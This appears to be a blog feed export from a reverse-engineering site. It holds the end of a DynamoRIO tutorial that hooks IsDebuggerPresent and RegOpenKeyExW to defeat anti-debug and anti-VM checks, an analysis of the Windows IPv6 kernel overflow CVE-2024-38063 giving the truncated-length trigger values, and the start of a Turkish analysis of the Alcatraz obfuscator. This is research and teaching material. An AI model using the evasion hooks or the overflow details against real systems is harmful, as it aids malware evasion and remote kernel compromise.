<p>In this section we will manipulate the anti-debug (<code>IsDebuggerPresent</code>) and <em>anti-vmware</em> technique. Of course, I start by writing a test application first.</p>
<h2 id="heading-creating-test-application">Creating Test Application</h2>
<pre><code class="lang-cpp"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;iostream&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"Windows.h"</span></span>

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">WriteToFile</span><span class="hljs-params">(<span class="hljs-keyword">char</span>* data, LPCWSTR filename)</span>
</span>{
    HANDLE hFile;
    DWORD dwBytesToWrite = <span class="hljs-built_in">strlen</span>(data);
    DWORD dwBytesWritten;
    BOOL bErrorFlag = FALSE;

    hFile = CreateFileW(filename,  <span class="hljs-comment">// name of the write</span>
        FILE_APPEND_DATA,          <span class="hljs-comment">// open for appending</span>
        FILE_SHARE_READ,           <span class="hljs-comment">// share for reading only</span>
        <span class="hljs-literal">NULL</span>,                      <span class="hljs-comment">// default security</span>
        OPEN_ALWAYS,               <span class="hljs-comment">// open existing file or create new file </span>
        FILE_ATTRIBUTE_NORMAL,     <span class="hljs-comment">// normal file</span>
        <span class="hljs-literal">NULL</span>
    );                     <span class="hljs-comment">// no attr. template</span>

    <span class="hljs-keyword">if</span> (hFile == INVALID_HANDLE_VALUE)
    {
        wprintf(<span class="hljs-string">L"Terminal failure: Unable to create/open file \"%s\" for writing.\n"</span>, filename);
        <span class="hljs-keyword">return</span>;
    }

    <span class="hljs-keyword">while</span> (dwBytesToWrite &gt; <span class="hljs-number">0</span>)
    {
        bErrorFlag = WriteFile(
            hFile,              <span class="hljs-comment">// open file handle</span>
            data,               <span class="hljs-comment">// start of data to write</span>
            dwBytesToWrite,     <span class="hljs-comment">// number of bytes to write</span>
            &amp;dwBytesWritten,    <span class="hljs-comment">// number of bytes that were written</span>
            <span class="hljs-literal">NULL</span>);              <span class="hljs-comment">// no overlapped structure</span>
        <span class="hljs-keyword">if</span> (!bErrorFlag)
        {
            <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Terminal failure: Unable to write to file.\n"</span>);
            <span class="hljs-keyword">break</span>;
        }
        wprintf(<span class="hljs-string">L"Wrote %u bytes to \"%s\" successfully.\n"</span>, dwBytesWritten, filename);

        data += dwBytesWritten;
        dwBytesToWrite -= dwBytesWritten;
    }

    CloseHandle(hFile);
}

<span class="hljs-function">BOOL <span class="hljs-title">Is_RegKeyExists</span><span class="hljs-params">(HKEY hKey, LPCWSTR lpSubKey)</span>
</span>{
    HKEY hkResult = <span class="hljs-literal">NULL</span>;
    TCHAR lpData[<span class="hljs-number">1024</span>] = { <span class="hljs-number">0</span> };
    DWORD cbData = MAX_PATH;

    <span class="hljs-keyword">if</span> (RegOpenKeyEx(hKey, lpSubKey, <span class="hljs-literal">NULL</span>, KEY_READ, &amp;hkResult) == ERROR_SUCCESS)
    {
        RegCloseKey(hkResult);
        <span class="hljs-keyword">return</span> TRUE;
    }

    <span class="hljs-keyword">return</span> FALSE;
}

<span class="hljs-comment">//al-khaser</span>
<span class="hljs-function">VOID <span class="hljs-title">vmware_reg_key</span><span class="hljs-params">()</span>
</span>{
    LPCWSTR blacklisted = <span class="hljs-string">L"SOFTWARE\\VMware, Inc.\\VMware Tools"</span>;
    <span class="hljs-keyword">if</span> (Is_RegKeyExists(HKEY_LOCAL_MACHINE, blacklisted))
    {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"VM Detected\n"</span>);
        <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
    }
    <span class="hljs-keyword">else</span>
    {
        <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Clear\n"</span>);
    }
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">if</span> (IsDebuggerPresent()) {
        <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"uppss debugger detected\n"</span>;
        <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
    }
    vmware_reg_key();
    <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"Hello World!\n"</span>;
    <span class="hljs-keyword">char</span> merhaba[<span class="hljs-number">6</span>] = <span class="hljs-string">"hello"</span>;
    LPCWSTR filepath = <span class="hljs-string">L"hello.txt"</span>;
    WriteToFile(merhaba, filepath);
}
</code></pre>
<p>My test application is checking debugger with <code>IsDebuggerPresent</code> API and checking <em>VMWare</em> reg key.</p>
<h2 id="heading-manipulate-with-drwrap">Manipulate with DrWrap</h2>
<p>I mentioned that DynamoRIO has a lot of authority over the virtual memory it generates and gives us a lot of possibilities. DrWrap is one of those possibilities… <a target="_blank" href="https://dynamorio.org/group__drwrap.html">Function Wrapping and Replacing</a></p>
<p>A library that allows us to run before and after the target function and to analyze the instructions before the function runs. I will show the structures that we need to use specially in the application section.</p>
<p>Now, let’s write main and register our functions. There are several functions and structures we will meet here. I will explain them after writing.</p>
<pre><code class="lang-cpp"><span class="hljs-function">DR_EXPORT <span class="hljs-keyword">void</span>
<span class="hljs-title">dr_client_main</span><span class="hljs-params">(<span class="hljs-keyword">client_id_t</span> id, <span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *argv[])</span>
</span>{
    dr_set_client_name(<span class="hljs-string">"Manipulater for anti-detection techniques 'maestro2'"</span>, <span class="hljs-string">"https://vx.zone"</span>);
    dr_log(<span class="hljs-literal">NULL</span>, DR_LOG_ALL, <span class="hljs-number">1</span>, <span class="hljs-string">"Client 'maestro2' initializing\n"</span>);

<span class="hljs-meta">#<span class="hljs-meta-keyword">ifdef</span> SHOW_RESULTS</span>
    <span class="hljs-keyword">if</span> (dr_is_notify_on()) {
        dr_fprintf(STDERR, <span class="hljs-string">"Client maestro2 is running\n"</span>);
    }
<span class="hljs-meta">#<span class="hljs-meta-keyword">endif</span></span>
    drmgr_init();
    drwrap_init();
    dr_register_exit_event(event_exit);
    drmgr_register_module_load_event(module_load_event);
    max_lock = dr_mutex_create();
}
</code></pre>
<p><code>drmgr_register_module_load_event</code>: This function is called when the module is loaded. In order to search for the functions we want to hook, we need to run an event every time a module is loaded. So we create a function.</p>
<p>Firstly, we need to examine wrap func and its args:</p>
<pre><code class="lang-c"><span class="hljs-function">DR_EXPORT <span class="hljs-keyword">bool</span> <span class="hljs-title">drwrap_wrap</span>     <span class="hljs-params">(     app_pc      func,
        <span class="hljs-keyword">void</span>(*)(<span class="hljs-keyword">void</span> *wrapcxt, OUT <span class="hljs-keyword">void</span> **user_data)      pre_func_cb,
        <span class="hljs-keyword">void</span>(*)(<span class="hljs-keyword">void</span> *wrapcxt, <span class="hljs-keyword">void</span> *user_data)      post_func_cb 
    )</span></span>
</code></pre>
<p>Our bypass method here is to bypass the checks by treating the value returned by the function as harmless. We can specify individual functions to run before and after the target function. But according to our bypass method, there is no need to run anything else before.</p>
<pre><code class="lang-cpp"><span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">regOpenKey_post</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *wrapcxt, <span class="hljs-keyword">void</span> *user_data)</span>
</span>{
    dr_fprintf(STDERR, <span class="hljs-string">"RegOpenKeyExW post wrap\n"</span>);
    drwrap_set_retval(wrapcxt, (<span class="hljs-keyword">void</span> *)((LSTATUS)<span class="hljs-number">0</span>));
    dr_fprintf(STDERR, <span class="hljs-string">"RegOpenKeyExW retval is 0\n"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">debuggerWrap_post</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *wrapcxt, <span class="hljs-keyword">void</span> *user_data)</span>
</span>{
    dr_fprintf(STDERR, <span class="hljs-string">"IsDebuggerPresent post wrap\n"</span>);
    drwrap_set_retval(wrapcxt, (<span class="hljs-keyword">void</span> *)<span class="hljs-number">0</span>);
    dr_fprintf(STDERR, <span class="hljs-string">"IsDebuggerPresent retval is 0\n"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">module_load_event</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *drcontext, <span class="hljs-keyword">const</span> <span class="hljs-keyword">module_data_t</span> *mod, <span class="hljs-keyword">bool</span> loaded)</span>
</span>{
    app_pc isDebuggerPresentWrap = (app_pc)dr_get_proc_address(mod-&gt;handle, <span class="hljs-string">"IsDebuggerPresent"</span>);
    app_pc regKeyOpenWrap = (app_pc)dr_get_proc_address(mod-&gt;handle, <span class="hljs-string">"RegOpenKeyExW"</span>);

    <span class="hljs-keyword">if</span> (isDebuggerPresentWrap != <span class="hljs-literal">NULL</span>) {
        drwrap_wrap(isDebuggerPresentWrap, <span class="hljs-literal">NULL</span>, debuggerWrap_post);
    }

    <span class="hljs-keyword">if</span> (regKeyOpenWrap != <span class="hljs-literal">NULL</span>) {
        drwrap_wrap(regKeyOpenWrap, <span class="hljs-literal">NULL</span>, regOpenKey_post);
    }
}

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">event_exit</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
    dr_mutex_destroy(max_lock);
    drwrap_exit();
    drmgr_exit();
}
</code></pre>
<p>Output:</p>
<pre><code class="lang-c">λ &gt; .\drrun.exe -c wrap.dll -- <span class="hljs-string">"API Test Dynamo.exe"</span>
Client maestro2 is running
RegOpenKeyExW post wrap
RegOpenKeyExW retval is <span class="hljs-number">1</span>
IsDebuggerPresent post wrap
IsDebuggerPresent retval is <span class="hljs-number">0</span>
RegOpenKeyExW post wrap
RegOpenKeyExW retval is <span class="hljs-number">1</span>
IsDebuggerPresent post wrap
IsDebuggerPresent retval is <span class="hljs-number">0</span>
debugger <span class="hljs-keyword">not</span> detected
Clear
Hello World!
Wrote <span class="hljs-number">5</span> bytes to <span class="hljs-string">"hello.txt"</span> successfully.
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Analysis of CVE-2024-38063 - Exploiting The Kernel Via IPv6 [EN]]]></title><description><![CDATA[Introduction
In this article, we will analyze the zero-click windows TCP/IP RCE (CVE-2024-38063) vulnerability published by Microsoft on August 13, 2024. This vulnerability is caused by unsafe calculations when setting the allocation and data copying...]]></description><link>https://0xreverse.com/analysis-of-cve-2024-38063</link><guid isPermaLink="true">https://0xreverse.com/analysis-of-cve-2024-38063</guid><category><![CDATA[exploit]]></category><category><![CDATA[CVE]]></category><category><![CDATA[reverse engineering]]></category><dc:creator><![CDATA[Furkan Öztürk]]></dc:creator><pubDate>Sat, 26 Apr 2025 23:48:11 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-introduction"><strong>Introduction</strong></h1>
<p>In this article, we will analyze the zero-click windows TCP/IP RCE (CVE-2024-38063) vulnerability published by Microsoft on August 13, 2024. This vulnerability is caused by unsafe calculations when setting the allocation and data copying size in a function used to clean up IPv6 packets from memory.</p>
<h1 id="heading-analysis">Analysis</h1>
<h2 id="heading-patch-diff">Patch Diff</h2>
<p>When we look at the functions that have changed with the new patch, we can see that only the <code>Ipv6ProcessOptions()</code> function has changed.</p>
<p>Before Patch:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630855328/cc2744a9-0519-44dd-8ec4-ccf27a88d4e3.png" alt /></p>
<p>After Patch:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630865539/68ae1daa-0a08-412b-8e42-2a45a71ddf81.png" alt /></p>
<h2 id="heading-code-analysis">Code Analysis</h2>
<p>As we can see <code>IppSendErrorList()</code> changed to <code>IppSendError()</code>. The only difference between them is that the <code>IppSendErrorList()</code> function sends errors to every packet but <code>IppSendError()</code> sends them to a single packet.</p>
<p>When we consider that the variable v6 -the first argument of the <code>NetioAdvanceNetBuffer()</code> and <code>NdisGetDataBuffer()</code> functions- represents the fragment, we understand that the <code>Ipv6ProcessOptions()</code> function processes one fragment at a time. The <code>IppSendErrorList()</code> function within the <code>Ipv6ProcessOptions()</code> function, however, sends any potential error to all packets while a single fragment is being examined.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630875282/c3a58c2b-5e70-432a-9b21-2b8409a6afe5.png" alt /></p>
<p>Here is the <code>IppSendErrorList</code> function:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630883820/a021efe4-1a5d-4121-94b4-cb3108a29260.png" alt /></p>
<p>According to the line <code>v8 = (_QWORD *)*v8;</code>, a3 is a linked list or a structure chained over a pointer.</p>
<p>In the <code>IppSendError()</code> function, an error message is sent to a single target with the <code>IppSendControl()</code> call. The <code>IppSendControl()</code> function creates an ICMP error message and sends it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630900046/66288785-d613-4d22-944a-64207dc12b30.png" alt /></p>
<p>It creates the error message with the <code>IppAllocateAndFillIcmp Header()</code> function and sends this error with the <code>IppSendDatagramsCommon()</code> function.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630910110/4576201b-daf6-4c66-823f-0ad783dfcc4a.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630916901/89b90004-cb3a-48ec-9adc-2d41874522dc.png" alt /></p>
<p>While I was reading the <code>IppSendError()</code> function, I came across the following code</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630974601/1a347ffe-4a02-44a4-aafc-beeb6f297f5a.png" alt /></p>
<p>Googling the value assigned to the result variable, <code>3221226011</code>, yields the error code <code>STATUS_DATA_NOT_ACCEPTED (0xC000021B)</code>. This means that the package is disabled.</p>
<p>When I explore the <code>IppSendError()</code> function a little further I encounter the following code block</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745674356861/602e0ec1-9782-4e0a-abbc-3c8cd71da8d9.png" alt class="image--center mx-auto" /></p>
<p>If we look at the packet structure that I will explain below, we set the Next Header of the IPv6 packet to 0.</p>
<h3 id="heading-fragmentation-in-ipv6"><strong>Fragmentation in IPv6</strong></h3>
<p>In IPv6 the source device (Fragmentation in IPv4 can occur at the source or at the router) may fragment packets <strong>if it determines that the packet size is larger than the Maximum Transmission Unit (MTU) of a network along the path to the destination</strong>.</p>
<p>During fragmentation, in addition to the original IPv6 header, each fragment contains a Fragment Header. This header contains information about which package the fragment came from and the information needed to reassemble it.</p>
<h4 id="heading-ipv6-header">IPv6 Header</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630924924/9a3025f8-a50d-4438-b60d-9145ee000367.png" alt /></p>
<p>The IPv6 header has a total length of 40 bytes (320 bits) and this header contains certain fields specific to the IPv6 protocol. These headers are:</p>
<ol>
<li><p>Version (4 bits): Protocol version. For IPv6, this value is 6.</p>
</li>
<li><p>Network Identifier (Traffic Class) (8 bits): Determines the priority of the packet; used for QoS (Quality of Service) applications.</p>
</li>
<li><p>Flow Label (20 bits): Used for storage capacity belonging to a different flow; this ensures the transmission of the transmission.</p>
</li>
<li><p>Height (Payload Length) (16 bits): Specifies the duration of the payload (data) after the IPv6 header. This is important during the reassembly of fragment packets.</p>
</li>
<li><p>The Next Header is an 8-bit field that specifies either the type of the first extension header (if any) or the upper-layer protocol in the payload such as TCP, UDP, or ICMPv6.</p>
</li>
<li><p>Hop Limit (8 bits): A value that indicates how far the packet can travel on the network. This value is reduced by 1 each time the packet passes; when it reaches 0, the packet is dropped.</p>
</li>
<li><p>Source IP Address (128 bits): The IPv6 address that is the source of the packet.</p>
</li>
<li><p>Destination IP Address (128 bits): The IPv6 address that is the destination of the packet.</p>
</li>
</ol>
<h4 id="heading-fragment-header">Fragment Header</h4>
<ol>
<li><p>Next Header (8 bits): This field identifies the type of header present after the Fragmentation header.</p>
</li>
<li><p>Reserved (8 bits): This field is currently set to zero. In the future, it may be utilized for other purposes. Additionally, there is an extra 2-bit field reserved for future use.</p>
</li>
<li><p>Fragment Offset (13 bits): This field indicates the offset of the fragment within the original packet, similar to the Fragment Offset field in IPv4.</p>
</li>
<li><p>More Fragments (M) (1 bit): This field indicates whether there are more fragments to follow. If this bit is set to 0, it indicates the last fragment; if set to 1, it indicates that more fragments may follow.</p>
</li>
<li><p>Identification Number (32 bits): This field contains an identification number that is the same for all fragments of a specific packet. It is twice the size of the corresponding field in IPv4, which is 16 bits.</p>
</li>
</ol>
<p><a target="_blank" href="https://network-insight.net/2015/10/16/ipv6-fragmentation/">IPv6 Fragmentation</a></p>
<h3 id="heading-fragmentation-analysis">Fragmentation Analysis</h3>
<p>So lets look at the <code>Ipv6pReceiveFragment()</code> function</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745630949112/6f20b5fd-02ad-421c-a79e-5327856d32fb.png" alt /></p>
<p>Assembly code calculating the fragment size</p>
<p>packet header is 0x30 bytes so <code>packet_size - 0x30</code> is the size of the fragment data.</p>
<p>AX represents the last 16 bits of the 32-bit register EAX. It functions as an independent 16-bit register, meaning any overflow or underflow occurring in AX will not affect other parts of the EAX register. For Example:</p>
<pre><code class="lang-plaintext">EAX = 0x123145678
AX = 0x5678
AX + 0xFFFF = 0x15777
EAX = 0x12345777 (CF flag triggered)
</code></pre>
<p>After seeing this, we are looking for methods to achieve overflow or underflow in the <code>packet_size - 0x30</code> process. However, since the area to be allocated and the area to which the data will be copied are the same size, there is no overflow.</p>
<blockquote>
<p>Due to the circular structure of the registers, the increment after the maximum value returns to zero and the same applies to the minimum value, this time returning to the maximum value.</p>
</blockquote>
<p>Additionally, in order for these IPv6 packets to be cleared from memory, one of the following 3 conditions must be met.</p>
<ol>
<li>Incorrect Fragmentation (Invalid Fragmentation)</li>
</ol>
<p>If there are missing fragments, conflict offsets or invalid maintenance information, the system discards fragments. For example: If the first fragment (offset=0) does not pass, the other fragments are considered invalid.</p>
<p>If Fragment Offset + Length &gt; the maximum threat (MTU) of the main packet is exceeded.</p>
<ol start="2">
<li>When the Last Fragment Arrives (More=0)</li>
</ol>
<p>The More Fragments (MF) flag must be 0 on the last fragment. When this fragment arrives: It is checked that all fragments have arrived (are the offsets consecutive?). If there is a missing fragment, the timeout is completed. If it is OK, reblocking is done.</p>
<ol start="3">
<li>Timeout (60 Seconds)</li>
</ol>
<p>If the last fragment does not arrive, the system waits for 60 seconds (Windows default value). When the timeout is up, <code>Ipv6pReassemblyTimeout()</code> is called and all fragments are discarded.</p>
<p>When examining the <code>Ipv6pReassemblyTimeout()</code> function, the following section stands out.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745682081628/0d3ef85e-d5b6-4ab9-a050-6f93d4e09155.png" alt class="image--center mx-auto" /></p>
<p>Memory is allocated using the <code>IppNetAllocate()</code> function, and data is copied into the allocated memory at two different points in the code. In the code, the last two parameters of the <code>IppNetAllocate()</code> function specify the size of the memory to be allocated: the first parameter corresponds to the size of the IPv6 header + some additional space, and the second corresponds to the size of the fragment data + some additional space.</p>
<p>The memory allocation in the <code>Ipv6pReassemblyTimeout()</code> function involves a two-stage calculation. However, there is a critical inconsistency between these calculations. The area to be allocated is calculated as follows:</p>
<p><code>allocation_size = fragment_list-&gt;net_buffer_length + reassembly-&gt;packet_length + 8;</code></p>
<ul>
<li><p><code>fragment_list-&gt;net_buffer_length</code>: Total size of the fragment header and its data (for example, 0x38 bytes).</p>
</li>
<li><p><code>reassembly-&gt;packet_length</code>: Value manipulated by the attacker (0xFFD0, that is 65520). And we have already manipulated this value before.</p>
</li>
<li><p>Total**:**<br />  <code>0x38 + 0xFFD0 + 8 = 0x10010</code> (65552 byte)</p>
</li>
</ul>
<p>Overflow (16-bit Register):<br />Since the calculation is performed on a 16-bit DX register:</p>
<ul>
<li><p>The value 0x10010 does not fit into 16 bits (it gets truncated to 0x0010).</p>
</li>
<li><p>The system only allocates a 16-byte memory block (<code>IppNetAllocate(..., 0x0010)</code>).</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745683956179/242c1ec5-1de6-40c1-b0e3-7e181cb96795.png" alt class="image--center mx-auto" /></p>
<p>There are problems not only in the memory allocation size but also in the data copy size.</p>
<ul>
<li><p>Used Value:<br />  <code>reassembly-&gt;packet_length</code> (0xFFD0, 65520 bytes).</p>
</li>
<li><p>Copy Operation:</p>
<p>  <code>memmove(dest_buffer, reassembly-&gt;payload, reassembly-&gt;packet_length);</code></p>
<p>  65520 bytes of data are attempted to be written into a buffer of only 16 bytes.</p>
<p>  Result: Buffer overflow in kernel memory and controlled data corruption.</p>
</li>
</ul>
<h1 id="heading-references"><strong>References</strong></h1>
<ul>
<li><p><a target="_blank" href="https://www.malwaretech.com/2024/08/exploiting-CVE-2024-38063.html">https://www.malwaretech.com/2024/08/exploiting-CVE-2024-38063.html</a></p>
</li>
<li><p><a target="_blank" href="https://bi-zone.medium.com/breaking-down-cve-2024-38063-remote-exploitation-of-the-windows-kernel-bdae36f5f61d">https://bi-zone.medium.com/breaking-down-cve-2024-38063-remote-exploitation-of-the-windows-kernel-bdae36f5f61d</a></p>
</li>
<li><p><a target="_blank" href="https://community.osr.com/t/error-while-calling-to-wsksendto-status-data-not-accepted/48129">https://community.osr.com/t/error-while-calling-to-wsksendto-status-data-not-accepted/48129</a></p>
</li>
<li><p><a target="_blank" href="https://www.rfc-editor.org/rfc/pdfrfc/rfc8200.txt.pdf">https://www.rfc-editor.org/rfc/pdfrfc/rfc8200.txt.pdf</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=x53Z93f3jJI">https://www.youtube.com/watch?v=x53Z93f3jJI</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/ynwarcs/CVE-2024-38063/">https://github.com/ynwarcs/CVE-2024-38063/</a></p>
</li>
<li><p><a target="_blank" href="https://learn.microsoft.com/en-us/windows-hardware/drivers/network/filtering-extensions">https://learn.microsoft.com/en-us/windows-hardware/drivers/network/filtering-extensions</a></p>
</li>
<li><p><a target="_blank" href="https://www.networkacademy.io/ccna/ipv6/ipv4-vs-ipv6">https://www.networkacademy.io/ccna/ipv6/ipv4-vs-ipv6</a></p>
</li>
<li><p><a target="_blank" href="https://datatracker.ietf.org/doc/html/rfc8200#section-4.5">https://datatracker.ietf.org/doc/html/rfc8200#section-4.5</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Understanding Alcatraz ~ Obfuscator Analysis [TR]]]></title><description><![CDATA[Bu yazının Türkçe versiyonu özel olarak TTMO için Türkiye'deki tersine mühendislik topluluğuna hazırlandı.
Introduction
Özellikle zararlı yazılım geliştiricileri ile kaynak kodunu korumak isteyen kullanıcılar tarafından sıklıkla tercih edilen binary-...]]></description><link>https://0xreverse.com/understanding-alcatraz-obfuscator-analysis-tr</link><guid isPermaLink="true">https://0xreverse.com/understanding-alcatraz-obfuscator-analysis-tr</guid><category><![CDATA[obfuscation]]></category><category><![CDATA[reverse engineering]]></category><category><![CDATA[deobfuscation]]></category><category><![CDATA[yara]]></category><category><![CDATA[Emulation]]></category><category><![CDATA[decompiler]]></category><category><![CDATA[disassembler]]></category><dc:creator><![CDATA[Utku Çorbacı]]></dc:creator><pubDate>Wed, 23 Apr 2025 21:20:00 GMT</pubDate><content:encoded><![CDATA[<p>Bu yazının Türkçe versiyonu özel olarak <a target="_blank" href="https://x.com/__TTMO__">TTMO</a> için Türkiye'deki tersine mühendislik topluluğuna hazırlandı.</p>
<h1 id="heading-introduction">Introduction</h1>
<p>Özellikle zararlı yazılım geliştiricileri ile kaynak kodunu korumak isteyen kullanıcılar tarafından sıklıkla tercih edilen binary-to-binary (bin2bin) obfuscator’lar, sahip oldukları gelişmiş tekniklerle birlikte her geçen gün zararlı yazılım analizcilerinin ve tersine mühendislik uzmanlarının işini daha da zorlaştırmakta, analiz süreçlerini karmaşıklaştırmaktadır. Bu yazıda, bu araçlardan bir tanesi olan “Alcatraz” obfuscator’ın süreçlerinin analizi yapılmıştır.</p>
<h1 id="heading-alcatraz-obfuscator">Alcatraz Obfuscator</h1>
<p>Alcatraz, x64 tabanlı PE dosyalarını obfuscate edebilen bir obfuscator olup, içerdiği tekniklerle birlikte açık kaynak kodlu binary-to-binary obfuscator çözümleri arasında öne çıkmaktadır.</p>
<ul>
<li><p>Obfuscation of immediate moves</p>
</li>
<li><p>Control flow flattening</p>
</li>
<li><p>ADD mutation</p>
</li>
<li><p>Entry-point obfuscation</p>
</li>
<li><p>Lea obfuscation</p>
</li>
<li><p>Anti disassembly</p>
</li>
</ul>
<p>Direkt olarak bir sample üzerinde (crackme, malware etc.) analiz yapmıyorsak, kendi hazırladığımız bir dosya üzerinde hedef obfuscator'un yaptığı değişiklikleri daha rahat gözlemleyebiliriz. Bunun için analiz etmeden önce bir test uygulaması hazırladım.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;stdio.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">char</span>* <span class="hljs-title">func1</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">return</span> <span class="hljs-string">"0xreverse.com"</span>;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">func2</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">return</span> <span class="hljs-number">24</span>;
}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%s\n"</span>, func1());
    <span class="hljs-built_in">printf</span>(<span class="hljs-string">"%d\n"</span>, func2());
    getchar();
    <span class="hljs-keyword">return</span> <span class="hljs-number">1</span>;
}
</code></pre>
<p>Release (x64) modunda derlediğim bu uygulamayı Alcatraz üzerinde tüm özellikler açık olacak şekilde obfuscate ettim. Yazının devamında bu test uygulamasından "sample" olarak bahsedeceğim.</p>
<h1 id="heading-analysis">Analysis</h1>
<h2 id="heading-entry-point-obfuscation">Entry-Point Obfuscation</h2>
<p>Sample'ı IDA üzerinde açtığımda karşıma gelen ilk fonksiyonun (Entry-Point) PE Header'lar ile bir işlem yaptığını gördüm.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744550422248/b3fcb389-83f7-4c3f-a54e-a374d8f57e6c.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-c">ImageBaseAddress = (<span class="hljs-keyword">char</span> *)NtCurrentPeb()-&gt;ImageBaseAddress;
v7 = &amp;ImageBaseAddress[*((<span class="hljs-keyword">int</span> *)ImageBaseAddress + <span class="hljs-number">15</span>)];
v8 = *((<span class="hljs-keyword">unsigned</span> __int16 *)v7 + <span class="hljs-number">3</span>);
v9 = (__int64)&amp;v7[*((<span class="hljs-keyword">unsigned</span> __int16 *)v7 + <span class="hljs-number">10</span>) + <span class="hljs-number">24</span>];
</code></pre>
<p>IDA, yapıları tanımadığı için bunları pointer işlemleriyle gösteriyor. Bu süreci iyileştirmek için Type libraries (Shift + F11 veya View &gt; Open Subviews) sekmesinden <code>MS SDK (Windows 7 x64)</code> Type'larını içeriye aktardım. Değişkenlerin tipini değiştirmek üzere Structures (Shift + F9) sekmesinden kullanacağım tipleri Ins tuşuna basarak "standard structure" olarak ekledim. Structure’ları ekledikten sonra koddaki değişkenleri uygun tiplere dönüştürdüm.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1744550458595/8fbca073-308c-4379-af7e-8964adab94d9.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-c">dosHeader = (IMAGE_DOS_HEADER *)NtCurrentPeb()-&gt;ImageBaseAddress;
ntHeader = (IMAGE_NT_HEADERS *)((<span class="hljs-keyword">char</span> *)dosHeader + dosHeader-&gt;e_lfanew);
NumberOfSections = ntHeader-&gt;FileHeader.NumberOfSections;
firstSectionHeader = (IMAGE_SECTION_HEADER *)((<span class="hljs-keyword">char</span> *)&amp;ntHeader-&gt;OptionalHeader
                                          + ntHeader-&gt;FileHeader.SizeOfOptionalHeader);
<span class="hljs-keyword">if</span> (ntHeader-&gt;FileHeader.NumberOfSections)
{
    qmemcpy(obfuscatorSection, <span class="hljs-string">".0Dev"</span>, <span class="hljs-keyword">sizeof</span>(obfuscatorSection));
    <span class="hljs-keyword">do</span>
    {
      v10 = obfuscatorSection;
      v11 = *(_OWORD *)&amp;firstSectionHeader-&gt;SizeOfRawData;
      v12 = *(_QWORD *)&amp;firstSectionHeader-&gt;NumberOfRelocations;
      hasSectionName = _mm_cvtsi128_si32(*(__m128i *)firstSectionHeader-&gt;Name);
      *(_OWORD *)selectedSectionName.Name = *(_OWORD *)firstSectionHeader-&gt;Name;
      *(_QWORD *)&amp;selectedSectionName.NumberOfRelocations = v12;
      *(_OWORD *)&amp;selectedSectionName.SizeOfRawData = v11;
      <span class="hljs-keyword">if</span> ( hasSectionName )
      {
        a3 = (<span class="hljs-keyword">char</span> *)&amp;selectedSectionName - obfuscatorSection;
        v14 = hasSectionName;
<span class="hljs-comment">//...</span>
</code></pre>
<p>Bu işlemler sonrası start fonksiyonu daha kolay anlamlandırabilir hale geldi. Fonksiyon en başta ismi 0Dev olan section'u bulmaya çalışıyor. Aşağıda da bu section'ın header'ı içerisindeki bazı değerler üzerinde matematiksel operasyonlar yaparak Original Entry-Point'i hesaplıyor.</p>
